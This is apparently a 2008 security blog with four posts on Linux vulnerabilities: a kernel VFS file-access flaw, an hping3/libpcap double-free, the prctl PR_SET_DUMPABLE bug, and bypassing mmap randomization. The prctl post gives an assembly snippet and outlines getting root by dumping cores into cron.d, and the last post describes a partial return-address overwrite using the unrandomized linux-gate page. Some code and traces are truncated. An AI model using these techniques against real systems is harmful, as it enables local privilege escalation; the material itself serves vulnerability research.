jueves, enero 24, 2008

CVE-2008-0001 Privilege scalation exploit.

CVE-2008-0001 Linux Kernel VFS Unauthorized File Access Vulnerability.

Trond changed namei.c code, and implemented a vulnerability on 18 Oct 2005
Bill Roman detected it and solve the problem in the following patch:

--- a/fs/namei.c
+++ b/fs/namei.c
@@ -1576,7 +1576,7 @@ int may_open(struct nameidata *nd, int acc_mode, int flag)
if (S_ISLNK(inode->i_mode))
return -ELOOP;

- if (S_ISDIR(inode->i_mode) && (flag & FMODE_WRITE))
+ if (S_ISDIR(inode->i_mode) && (acc_mode & MAY_WRITE))
return -EISDIR;

error = vfs_permission(nd, acc_mode);
return -EACCES;

flag &= ~O_TRUNC;
- } else if (IS_RDONLY(inode) && (flag & FMODE_WRITE))
+ } else if (IS_RDONLY(inode) && (acc_mode & MAY_WRITE))
return -EROFS;

Well, FMODE_WRITE=2 if we open with O_RDWR (=2) at don't writable file, we will get -EROFS
but we can use O_WRONLY (=1) and != FMODE_WRITE (=2) then we can map the descriptor to memory and write ;)

#drwxr-xr-x 2 root root 4096 2008-01-28 15:46 test
#su - shao

Without write permissions, shao has appended

open("/test", O_WRONLY) = -1 EISDIR (Is a directory)
open("/test", O_RDWR) = -1 EISDIR (Is a directory)
open("/test", O_RDONLY|O_APPEND) = 3

O_APPEND succeed and kernel give us 3rd descriptor.

If we write with write() syscall:

open("/tmp/test", O_RDONLY|O_APPEND) = 3
lseek(3, 0, SEEK_END) = 5
write(3, ptrace: umoven: Input/output error
0x41, 1) = -1 EBADF (Bad file descriptor)
close(3) = 0

write() syscalls return EBADF, he don't let us modify this kind of descriptor, he did a check.
mmap() syscall return -1

Well, from user space we can't exploit this.

martes, enero 15, 2008

hping3 double free security flaw.

Today my friend Mario Diaz have discovered a interesting flaw in hping3, is a race condition + heap overflow dodgy of reproduce.

I love this kind of flaws, let's analyse the problem in order to make the exploit:

pcap_close sometimes cause a double free corruption:

pcap_next(0x8079f20, 0x8069c70, 130, 0, 0) = 0x807a12a
memcpy(0xb33e7970, "", 66) = 0xb33e7970
pcap_next(0x8079f20, 0x8069c70, 66, 0, 0) = 0x807a12a
memcpy(0xb33e7970, "", 66) = 0xb33e7970
pcap_next(0x8079f20, 0x8069c70, 66, 0, 0) = 0x807a12a
memcpy(0xb33e7970, "\252", 130) = 0xb33e7970
pcap_next(0x8079f20, 0x8069c70, 130, 0, 0) = 0x807a12a
--- SIGALRM (Alarm clock) ---
pcap_close(0x8079f20, 0, 0, 0x804eb0d, 0) = 505

When hping sends a packet, if you have specified the -c flag (number of packets) and all packets are sended, a sigalarm is called:

send.c:void send_packet (int signal_id) {
Signal(SIGALRM, send_packet);

if (count != -1 && count == sent_pkt) { /* count reached? */
Signal(SIGALRM, print_statistics);

hping2.h:#define COUNTREACHED_TIMEOUT 1

One second later, a sigalarm is triggered, and print_statistics is called.

statistics.c:print_statistics(int signal_id) {


I have reproduced the problem:

#include <pcap.h>
#include <stdio.h>

int main (void) {
pcap_t *p;
char *errbuf = (char *)malloc(3000);

if (p = pcap_open_live(NULL,65535,1,3000,errbuf)) {
} else {
printf("open failed\n");

# ./pcap
*** glibc detected *** double free or corruption (out): 0x0804adc0 ***

# ldd -d pcap
linux-gate.so.1 => (0xffffe000)
libpcap.so.0.8 => /usr/lib/libpcap.so.0.8 (0xb7f94000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e63000)
/lib/ld-linux.so.2 (0xb7fd5000)

When the race condition succeed, the pcap_close() is called twice, and then the double-free happens.

miércoles, enero 09, 2008

prctl problems have been solved

In 2.6.22.* and prior we can do a prctl(PR_SET_DUMPABLE,2) then current->mm->dumpable value will be 2.

Let's see the bad check:

--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -1983,7 +1983,7 @@ asmlinkage long sys_prctl(int option, unsigned long arg2, unsigned long arg3,
error = current->mm->dumpable;
- if (arg2 < 0 || arg2 > 2) {
+ if (arg2 < 0 || arg2 > 1) {
error = -EINVAL;
current->mm->dumpable = arg2;

A non-root user can make an exploit like this and set PR_SET_DUMPABLE to two:

.global main
mov $172, %eax
mov $2, %ebx
int $0x80

Is possible to make a SIGSEGV sgnal to this process and make a core in a directory that the user doesnt have permissions.

One way to get root is make a file in cron.d or fill a disk when only root are quota free, RoManSoFt and Dreyer used this trick in their exploit, see rs-labs.

I estimate that the linux kernel have more bad-checks like that.

domingo, enero 06, 2008

mmap randomization bypass

Todays, people patch their kernels with grsecurity and then is very difficult to exploit his process remotely.

One of grsecurity protection is mmap() randomization, now, every address allocation will be pseudo randomized.

Now, we don't know where the shellcode is, we will have to make some things to diverting the execution flow to our code.

Well we know the local shellcode at environ trick, but it will not usseful with the space layout randomization.

simkin, a friend of badchecksum team, have seen a way to make relative jumps instead of absolute ones.

If you overwrite only one byte of the saved eip, really you are overwriting the two lsb of the address, that means that you can point to relative code where you know what there are.

I say two lsb becouse the null byte of final string will be writed at the second byte when you write the first.

Then you can use pop pop ret or similar tricks to jump to the shellcode without knowing the address of it.

Well, in modern kernels we have stack and heap randomization but have some problems, linux-gate, the new sistem call method, is not randomized, we can use this library to find jumppoints.

jesus@pwn3d:/$ ldd -d /bin/ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/i686/cmov/librt.so.1 (0xb7f65000)
libacl.so.1 => /lib/libacl.so.1 (0xb7f5e000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb7f47000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7dfa000)
libpthread.so.0 => /lib/i686/cmov/libpthread.so.0 (0xb7de2000)
/lib/ld-linux.so.2 (0xb7f85000)
libattr.so.1 => /lib/libattr.so.1 (0xb7dde000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7dda000)
libsepol.so.1 => /lib/libsepol.so.1 (0xb7d99000)
jesus@pwn3d:/$ ldd -d /bin/ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/i686/cmov/librt.so.1 (0xb7fbe000)
libacl.so.1 => /lib/libacl.so.1 (0xb7fb7000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb7fa0000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7e53000)
libpthread.so.0 => /lib/i686/cmov/libpthread.so.0 (0xb7e3b000)
/lib/ld-linux.so.2 (0xb7fde000)
libattr.so.1 => /lib/libattr.so.1 (0xb7e37000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7e330

I know that there are other tecniques in the wild to bypass PAX protections.